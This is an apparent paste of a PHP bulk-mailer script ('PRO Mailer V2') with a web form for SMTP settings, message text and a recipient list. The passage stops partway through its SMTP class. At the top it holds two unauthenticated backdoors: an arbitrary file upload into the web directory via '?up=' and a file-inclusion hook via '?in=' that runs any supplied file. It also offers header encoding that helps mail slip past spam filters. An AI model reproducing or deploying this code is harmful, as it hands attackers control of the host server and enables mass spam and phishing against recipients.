· 8 years ago · Oct 07, 2017, 01:26 PM
1
2<?
3// @~ PRO Mailer V2
4# Upload
5$UP = $_GET['up'];
6if(isset($UP) && !empty($UP)){
7echo"".$_FILES['userfile']."";
8$uploaddir = './';
9$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
10if ( isset($_FILES["userfile"]) ) {
11 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
12 if (move_uploaded_file
13($_FILES["userfile"]["tmp_name"], $uploadfile))
14echo $uploadfile;
15 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
16}
17
18}
19# ===================================================== #
20# RFI
21$in = $_GET['in'];
22if(isset($in) && !empty($in)){
23echo die(include_once $in);
24}
25# ===================================================== #
26error_reporting(0);
27function query_str($params){
28$str = '';
29foreach ($params as $key => $value) {
30$str .= (strlen($str) < 1) ? '' : '&';
31$str .= $key . '=' . rawurlencode($value);
32}
33return ($str);
34}
35function lrtrim($string){
36return stripslashes(ltrim(rtrim($string)));
37}
38if(isset($_POST['action'] ) ){
39
40$b = query_str($_POST);
41parse_str($b);
42$sslclick=lrtrim($sslclick);
43$action=lrtrim($action);
44$message=lrtrim($message);
45$emaillist=lrtrim($emaillist);
46$from=lrtrim($from);
47$reconnect=lrtrim($reconnect);
48$epriority=lrtrim($epriority);
49$my_smtp=lrtrim($my_smtp);
50$ssl_port=lrtrim($ssl_port);
51$smtp_username=lrtrim($smtp_username);
52$smtp_password=lrtrim($smtp_password);
53$replyto=lrtrim($replyto);
54$subject_base=lrtrim($subject);
55$realname_base=lrtrim($realname);
56$file_name=$_FILES['file']['name'];
57$file=$_FILES['file']['tmp_name'];
58$urlz=lrtrim($urlz);
59$contenttype=lrtrim($contenttype);
60$encode_text=$_POST['encode'];
61
62
63 $message = urlencode($message);
64 $message = ereg_replace("%5C%22", "%22", $message);
65 $message = urldecode($message);
66 $message = stripslashes($message);
67 $subject = stripslashes($subject);
68if ($encode_text == "yes") {
69 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
70 $subject = str_replace(' ', '_', $subject);
71 $subject = "=?UTF-8?Q?$subject?=";
72 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
73 $realname = str_replace(' ', '_', $realname);
74 $realname = "=?UTF-8?Q?$realname?=";
75 }
76}
77?>
78
79<html>
80
81<head>
82
83<title>Pro Mailer V2</title>
84
85<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
86
87
88<style type="text/css">
89<!--
90.style1 {
91 font-family: Geneva, Arial, Helvetica, sans-serif;
92 font-size: 12px;
93}
94body{
95margin:0px;
96}
97.bgup {
98background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
99}
100
101.cadre {
102background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
103}
104
105.uibutton {
106 position: relative;
107 z-index: 1;
108 overflow: visible;
109 display: inline-block;
110 padding: 0.3em 0.6em 0.375em;
111 border: 1px solid #01A9DB;
112 border-bottom-color: #01A9DB;
113 margin: 0;
114 text-decoration: none;
115 text-align: center;
116 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
117 white-space: nowrap;
118 cursor: pointer;
119 /* outline: none; */
120 color: #f9f9f9;
121 background-color: #eee;
122 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
123 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
124 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
125 background-image: linear-gradient(#01A9DB, #01A9DB);
126
127 /* IE hacks */
128
129 *display: inline;
130
131}
132
133.uibutton:hover,
134.uibutton:focus,
135.uibutton:active {
136 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
137}
138
139.uibutton:active {
140 border-color: #01A9DB;
141 background: #01A9DB;
142 filter: none;
143 -webkit-box-shadow: none;
144 -moz-box-shadow: none;
145 box-shadow: none;
146}
147
148/* overrides extra padding on button elements in Firefox */
149.uibutton::-moz-focus-inner {
150 padding: 0;
151 border: 0;
152}
153
154
155
156-->
157</style>
158<style type="text/css">
159<!--
160.style1 {
161 font-size: 10px;
162 font-family: Geneva, Arial, Helvetica, sans-serif;
163}
164-->
165</style>
166</head>
167<body bgcolor="#f9f9f9" class="bgup">
168<div class="cadre" style="height:10px;margin:0px auto;"></div>
169<div style="width:80%;margin:0 auto;">
170<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
171<form name="form1" method="post" action="" enctype="multipart/form-data">
172
173 <br>
174
175 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
176
177 <tr>
178
179 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
180
181 <b>
182
183 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
184
185 </tr>
186 <tr >
187
188 <td width="10%" height="22" style="padding:10px;">
189
190 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
191
192 </td>
193
194 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
195
196 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
197
198 </font></td>
199
200 <td width="31%" height="22" style="padding:10px;">
201
202 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
203
204 </td>
205
206 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
207
208 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
209
210 </font></td>
211
212 </tr>
213 <tr>
214
215 <td width="10%" height="22" style="padding:10px;">
216
217 <div align="right">
218 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
219
220 </td>
221
222 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
223
224 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
225 (optional)</font></td>
226
227 <td width="31%" height="22" style="padding:10px;">
228
229 <div align="right">
230 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
231 Smtp:</font></div>
232
233 </td>
234
235 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
236
237 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
238
239 </font></td>
240
241 </tr>
242 <tr>
243
244 <td width="10%" height="22" style="padding:10px;">
245
246 <p align="right">
247 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
248
249 <td width="18%" height="22" style="padding:10px;">
250 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
251
252 <td width="31%" height="22" style="padding:10px;">
253
254 <p align="right">
255 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
256 After:</font></td>
257
258 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
259
260 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
261 EMAILS</font></td>
262
263 </tr>
264 <tr>
265
266 <td width="100%" height="39" colspan="4" style="padding:10px;">
267
268 <p align="center">
269 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
270 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
271
272 </tr>
273
274 <tr>
275
276 <td width="10%" height="19" style="padding:10px;">
277
278 </td>
279
280 <td width="18%" height="19" style="padding:10px;"> </td>
281
282 <td width="31%" height="19" style="padding:10px;">
283
284 </td>
285
286 <td width="41%" height="19" style="padding:10px;"> </td>
287
288 </tr>
289
290 <tr>
291
292 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
293
294 <b>
295
296 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
297
298 </tr>
299 <tr>
300
301 <td width="10%" height="22" style="padding:10px;">
302 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
303 </td>
304
305 <td width="59%" height="22" style="padding:10px;" colSpan="3">
306 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
307
308<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
309
310 </font></td>
311
312 </tr>
313 <tr>
314
315 <td width="10%" height="22" style="padding:10px;">
316
317 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
318
319 Email:</font></div>
320
321 </td>
322
323 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
324
325 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
326
327 </font></td>
328
329 <td width="31%" height="22" style="padding:10px;">
330
331 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
332
333 Name:</font></div>
334
335 </td>
336
337 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
338
339 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
340
341 </font></td>
342
343 </tr>
344 <tr>
345
346 <td width="10%" height="22" style="padding:10px;">
347
348 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
349
350 </td>
351
352 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
353
354 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
355
356 </font></td>
357
358 <td width="31%" height="22" style="padding:10px;">
359
360 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
361 Email Priority:</font></td>
362
363 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
364
365 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
366 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
367 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
368 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
369<option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
370</select></td>
371
372 </tr>
373
374 <tr>
375
376 <td width="10%" height="22" style="padding:10px;">
377
378 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
379
380 </td>
381
382 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
383
384 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
385
386 </font></td>
387
388 </tr>
389
390 <tr>
391
392 <td width="10%" height="22" style="padding:10px;">
393
394 </td>
395
396 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
397
398 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
399 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
400 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
401 </select></font></td>
402
403 </tr>
404
405 <tr valign="top">
406
407<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
408
409 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
410
411 <br>
412
413 <input type="radio" name="contenttype" value="plain" >
414
415 Plain
416
417 <input type="radio" name="contenttype" value="html" checked>
418
419 HTML
420
421 <input type="hidden" name="action" value="send">
422<input class="uibutton" type="submit" value="Send Message">
423
424 </font></td>
425
426 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
427
428 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
429
430 </font></td>
431
432 </tr>
433
434 </table>
435
436</form>
437
438
439
440<?
441
442if ($action){
443 if (!$from && !$subject && !$message && !$emaillist){
444 print "<script>alert('Please complete all fields before sending your message.'); </script>";
445 die(); }
446
447class SMTP
448{
449 /**
450 * SMTP server port
451 * @var int
452 */
453 var $SMTP_PORT = 25;
454
455 /**
456 * SMTP reply line ending
457 * @var string
458 */
459 var $CRLF = "\r\n";
460
461 /**
462 * Sets whether debugging is turned on
463 * @var bool
464 */
465 var $do_debug; # the level of debug to perform
466
467 /**
468 * Sets VERP use on/off (default is off)
469 * @var bool
470 */
471 var $do_verp = false;
472
473 /**#@+
474 * @access private
475 */
476 var $smtp_conn; # the socket to the server
477 var $error; # error if any on the last call
478 var $helo_rply; # the reply the server sent to us for HELO
479 /**#@-*/
480
481 /**
482 * Initialize the class so that the data is in a known state.
483 * @access public
484 * @return void
485 */
486 function SMTP() {
487 $this->smtp_conn = 0;
488 $this->error = null;
489 $this->helo_rply = null;
490
491 $this->do_debug = 0;
492 }
493
494 /*************************************************************
495 * CONNECTION FUNCTIONS *
496 ***********************************************************/
497
498 /**
499 * Connect to the server specified on the port specified.
500 * If the port is not specified use the default SMTP_PORT.
501 * If tval is specified then a connection will try and be
502 * established with the server for that number of seconds.
503 * If tval is not specified the default is 30 seconds to
504 * try on the connection.
505 *
506 * SMTP CODE SUCCESS: 220
507 * SMTP CODE FAILURE: 421
508 * @access public
509 * @return bool
510 */
511 function Connect($host,$port=0,$tval=30) {
512 # set the error val to null so there is no confusion
513 $this->error = null;
514
515 # make sure we are __not__ connected
516 if($this->connected()) {
517 # ok we are connected! what should we do?
518 # for now we will just give an error saying we
519 # are already connected
520 $this->error = array("error" => "Already connected to a server");
521 return false;
522 }
523
524 if(empty($port)) {
525 $port = $this->SMTP_PORT;
526 }
527
528 #connect to the smtp server
529 $this->smtp_conn = fsockopen($host, # the host of the server
530 $port, # the port to use
531 $errno, # error number if any
532 $errstr, # error message if any
533 $tval); # give up after ? secs
534 # verify we connected properly
535 if(empty($this->smtp_conn)) {
536 $this->error = array("error" => "Failed to connect to server",
537 "errno" => $errno,
538 "errstr" => $errstr);
539 if($this->do_debug >= 1) {
540 echo "SMTP -> ERROR: " . $this->error["error"] .
541 ": $errstr ($errno)" . $this->CRLF;
542 }
543 return false;
544 }
545
546 # sometimes the SMTP server takes a little longer to respond
547 # so we will give it a longer timeout for the first read
548 // Windows still does not have support for this timeout function
549 if(substr(PHP_OS, 0, 3) != "WIN")
550 socket_set_timeout($this->smtp_conn, $tval, 0);
551
552 # get any announcement stuff
553 $announce = $this->get_lines();
554
555 # set the timeout of any socket functions at 1/10 of a second
556 //if(function_exists("socket_set_timeout"))
557 // socket_set_timeout($this->smtp_conn, 0, 100000);
558
559 if($this->do_debug >= 2) {
560 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
561 }
562
563 return true;
564 }
565
566 /**
567 * Performs SMTP authentication. Must be run after running the
568 * Hello() method. Returns true if successfully authenticated.
569 * @access public
570 * @return bool
571 */
572 function Authenticate($username, $password) {
573 // Start authentication
574 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
575
576 $rply = $this->get_lines();
577 $code = substr($rply,0,3);
578
579 if($code != 334) {
580 $this->error =
581 array("error" => "AUTH not accepted from server",
582 "smtp_code" => $code,
583 "smtp_msg" => substr($rply,4));
584 if($this->do_debug >= 1) {
585 echo "SMTP -> ERROR: " . $this->error["error"] .
586 ": " . $rply . $this->CRLF;
587 }
588 return false;
589 }
590
591 // Send encoded username
592 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
593
594 $rply = $this->get_lines();
595 $code = substr($rply,0,3);
596
597 if($code != 334) {
598 $this->error =
599 array("error" => "Username not accepted from server",
600 "smtp_code" => $code,
601 "smtp_msg" => substr($rply,4));
602 if($this->do_debug >= 1) {
603 echo "SMTP -> ERROR: " . $this->error["error"] .
604 ": " . $rply . $this->CRLF;
605 }
606 return false;
607 }
608
609 // Send encoded password
610 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
611
612 $rply = $this->get_lines();
613 $code = substr($rply,0,3);
614
615 if($code != 235) {
616 $this->error =
617 array("error" => "Password not accepted from server",
618 "smtp_code" => $code,
619 "smtp_msg" => substr($rply,4));
620 if($this->do_debug >= 1) {
621 echo "SMTP -> ERROR: " . $this->error["error"] .
622 ": " . $rply . $this->CRLF;
623 }
624 return false;
625 }
626
627 return true;
628 }
629
630 /**
631 * Returns true if connected to a server otherwise false
632 * @access private
633 * @return bool
634 */
635 function Connected() {
636 if(!empty($this->smtp_conn)) {
637 $sock_status = socket_get_status($this->smtp_conn);
638 if($sock_status["eof"]) {
639 # hmm this is an odd situation... the socket is
640 # valid but we are not connected anymore
641 if($this->do_debug >= 1) {
642 echo "SMTP -> NOTICE:" . $this->CRLF .
643 "EOF caught while checking if connected";
644 }
645 $this->Close();
646 return false;
647 }
648 return true; # everything looks good
649 }
650 return false;
651 }
652
653 /**
654 * Closes the socket and cleans up the state of the class.
655 * It is not considered good to use this function without
656 * first trying to use QUIT.
657 * @access public
658 * @return void
659 */
660 function Close() {
661 $this->error = null; # so there is no confusion
662 $this->helo_rply = null;
663 if(!empty($this->smtp_conn)) {
664 # close the connection and cleanup
665 fclose($this->smtp_conn);
666 $this->smtp_conn = 0;
667 }
668 }
669
670 /***************************************************************
671 * SMTP COMMANDS *
672 *************************************************************/
673
674 /**
675 * Issues a data command and sends the msg_data to the server
676 * finializing the mail transaction. $msg_data is the message
677 * that is to be send with the headers. Each header needs to be
678 * on a single line followed by a <CRLF> with the message headers
679 * and the message body being seperated by and additional <CRLF>.
680 *
681 * Implements rfc 821: DATA <CRLF>
682 *
683 * SMTP CODE INTERMEDIATE: 354
684 * [data]
685 * <CRLF>.<CRLF>
686 * SMTP CODE SUCCESS: 250
687 * SMTP CODE FAILURE: 552,554,451,452
688 * SMTP CODE FAILURE: 451,554
689 * SMTP CODE ERROR : 500,501,503,421
690 * @access public
691 * @return bool
692 */
693 function Data($msg_data) {
694 $this->error = null; # so no confusion is caused
695
696 if(!$this->connected()) {
697 $this->error = array(
698 "error" => "Called Data() without being connected");
699 return false;
700 }
701
702 fputs($this->smtp_conn,"DATA" . $this->CRLF);
703
704 $rply = $this->get_lines();
705 $code = substr($rply,0,3);
706
707 if($this->do_debug >= 2) {
708 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
709 }
710
711 if($code != 354) {
712 $this->error =
713 array("error" => "DATA command not accepted from server",
714 "smtp_code" => $code,
715 "smtp_msg" => substr($rply,4));
716 if($this->do_debug >= 1) {
717 echo "SMTP -> ERROR: " . $this->error["error"] .
718 ": " . $rply . $this->CRLF;
719 }
720 return false;
721 }
722
723 # the server is ready to accept data!
724 # according to rfc 821 we should not send more than 1000
725 # including the CRLF
726 # characters on a single line so we will break the data up
727 # into lines by \r and/or \n then if needed we will break
728 # each of those into smaller lines to fit within the limit.
729 # in addition we will be looking for lines that start with
730 # a period '.' and append and additional period '.' to that
731 # line. NOTE: this does not count towards are limit.
732
733 # normalize the line breaks so we know the explode works
734 $msg_data = str_replace("\r\n","\n",$msg_data);
735 $msg_data = str_replace("\r","\n",$msg_data);
736 $lines = explode("\n",$msg_data);
737
738 # we need to find a good way to determine is headers are
739 # in the msg_data or if it is a straight msg body
740 # currently I am assuming rfc 822 definitions of msg headers
741 # and if the first field of the first line (':' sperated)
742 # does not contain a space then it _should_ be a header
743 # and we can process all lines before a blank "" line as
744 # headers.
745 $field = substr($lines[0],0,strpos($lines[0],":"));
746 $in_headers = false;
747 if(!empty($field) && !strstr($field," ")) {
748 $in_headers = true;
749 }
750
751 $max_line_length = 998; # used below; set here for ease in change
752
753 while(list(,$line) = @each($lines)) {
754 $lines_out = null;
755 if($line == "" && $in_headers) {
756 $in_headers = false;
757 }
758 # ok we need to break this line up into several
759 # smaller lines
760 while(strlen($line) > $max_line_length) {
761 $pos = strrpos(substr($line,0,$max_line_length)," ");
762
763 # Patch to fix DOS attack
764 if(!$pos) {
765 $pos = $max_line_length - 1;
766 }
767
768 $lines_out[] = substr($line,0,$pos);
769 $line = substr($line,$pos + 1);
770 # if we are processing headers we need to
771 # add a LWSP-char to the front of the new line
772 # rfc 822 on long msg headers
773 if($in_headers) {
774 $line = "\t" . $line;
775 }
776 }
777 $lines_out[] = $line;
778
779 # now send the lines to the server
780 while(list(,$line_out) = @each($lines_out)) {
781 if(strlen($line_out) > 0)
782 {
783 if(substr($line_out, 0, 1) == ".") {
784 $line_out = "." . $line_out;
785 }
786 }
787 fputs($this->smtp_conn,$line_out . $this->CRLF);
788 }
789 }
790
791 # ok all the message data has been sent so lets get this
792 # over with aleady
793 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
794
795 $rply = $this->get_lines();
796 $code = substr($rply,0,3);
797
798 if($this->do_debug >= 2) {
799 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
800 }
801
802 if($code != 250) {
803 $this->error =
804 array("error" => "DATA not accepted from server",
805 "smtp_code" => $code,
806 "smtp_msg" => substr($rply,4));
807 if($this->do_debug >= 1) {
808 echo "SMTP -> ERROR: " . $this->error["error"] .
809 ": " . $rply . $this->CRLF;
810 }
811 return false;
812 }
813 return true;
814 }
815
816 /**
817 * Expand takes the name and asks the server to list all the
818 * people who are members of the _list_. Expand will return
819 * back and array of the result or false if an error occurs.
820 * Each value in the array returned has the format of:
821 * [ <full-name> <sp> ] <path>
822 * The definition of <path> is defined in rfc 821
823 *
824 * Implements rfc 821: EXPN <SP> <string> <CRLF>
825 *
826 * SMTP CODE SUCCESS: 250
827 * SMTP CODE FAILURE: 550
828 * SMTP CODE ERROR : 500,501,502,504,421
829 * @access public
830 * @return string array
831 */
832 function Expand($name) {
833 $this->error = null; # so no confusion is caused
834
835 if(!$this->connected()) {
836 $this->error = array(
837 "error" => "Called Expand() without being connected");
838 return false;
839 }
840
841 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
842
843 $rply = $this->get_lines();
844 $code = substr($rply,0,3);
845
846 if($this->do_debug >= 2) {
847 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
848 }
849
850 if($code != 250) {
851 $this->error =
852 array("error" => "EXPN not accepted from server",
853 "smtp_code" => $code,
854 "smtp_msg" => substr($rply,4));
855 if($this->do_debug >= 1) {
856 echo "SMTP -> ERROR: " . $this->error["error"] .
857 ": " . $rply . $this->CRLF;
858 }
859 return false;
860 }
861
862 # parse the reply and place in our array to return to user
863 $entries = explode($this->CRLF,$rply);
864 while(list(,$l) = @each($entries)) {
865 $list[] = substr($l,4);
866 }
867
868 return $list;
869 }
870
871 /**
872 * Sends the HELO command to the smtp server.
873 * This makes sure that we and the server are in
874 * the same known state.
875 *
876 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
877 *
878 * SMTP CODE SUCCESS: 250
879 * SMTP CODE ERROR : 500, 501, 504, 421
880 * @access public
881 * @return bool
882 */
883 function Hello($host="") {
884 $this->error = null; # so no confusion is caused
885
886 if(!$this->connected()) {
887 $this->error = array(
888 "error" => "Called Hello() without being connected");
889 return false;
890 }
891
892 # if a hostname for the HELO was not specified determine
893 # a suitable one to send
894 if(empty($host)) {
895 # we need to determine some sort of appopiate default
896 # to send to the server
897 $host = "localhost";
898 }
899
900 // Send extended hello first (RFC 2821)
901 if(!$this->SendHello("EHLO", $host))
902 {
903 if(!$this->SendHello("HELO", $host))
904 return false;
905 }
906
907 return true;
908 }
909
910 /**
